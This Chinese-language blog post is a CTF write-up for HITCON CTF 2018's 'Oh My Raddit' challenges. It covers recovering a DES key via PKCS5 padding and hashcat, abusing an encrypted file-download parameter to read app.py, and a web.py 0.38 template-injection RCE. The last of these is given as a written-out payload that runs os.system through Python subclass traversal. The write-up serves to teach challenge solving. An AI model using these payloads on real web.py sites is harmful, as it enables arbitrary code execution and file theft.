iT邦幫忙

2019 iT 邦幫忙鐵人賽

DAY 13
0
Security

CTF30系列 第 13

CTF 9: Oh My Raddit (Web/Crypto, HITCON CTF 2018)

後續解法

前面提到,PKCS5 的規則下,Padding 的內容要和長度一樣 (例如 block size = 8,要 pad 的爲 8 位,則要寫 0x08 八次)。故我們可以推測 3ca92540eb2d0a42 == 0808080808080808
若丟進 hashcat,我們就可以拿到這題的金鑰。但這不是 flag ....

隱藏題目?

頁面上某連結其實是會返回ㄧ個 PDF 的。但根據看的兩份 Writeup,這裏會有兩種不同打法。
第一種打法是源自前面提到的,在 DES 的狀況下,每一字的最後一 byte 都是可以不管的。故其實是有 256 種可能的金鑰。扣掉不是純字元組成的金鑰,則會有 128 種。故可以試著一直交 flag,直到拿到分數爲止。

第二種打法則比較長一些。根據題目的提示,這題要看源碼。
假設我們把頁面上每個連結都解開,會發現某連結解開後,會是 m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf

根據題目的註解,我們要看源碼。故下 m=d&f=app.py (當然要用同種方法加密回去) 即可看到題目源碼,和 flag。

Oh My Raddit V2

假設我們用同種方法拿題目的 requirements.txt,會知道它使用 web.py==0.38。若再去 Google 功夫一波,會找到一篇 RCE 的說明:Remote Code Execution in Web.py framework | Security et alii

根據這篇文章,我們可以下以下兩個請求:

  • m=p&l=${[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('/read_flag > /tmp/flag')}
  • m=d&f=/tmp/flag

來拿下 v2 的 flag。我們在下一篇,會來看看 webpy 的問題出在那裡。

參考資料

Remote Code Execution in Web.py framework | Security et alii


上一篇
CTF 9: Oh My Raddit (Web/Crypto, HITCON CTF 2018)
下一篇
CTF 9: Oh My Raddit v2 (Web/Crypto, HITCON CTF 2018)
系列文
CTF3030

尚未有邦友留言

立即登入留言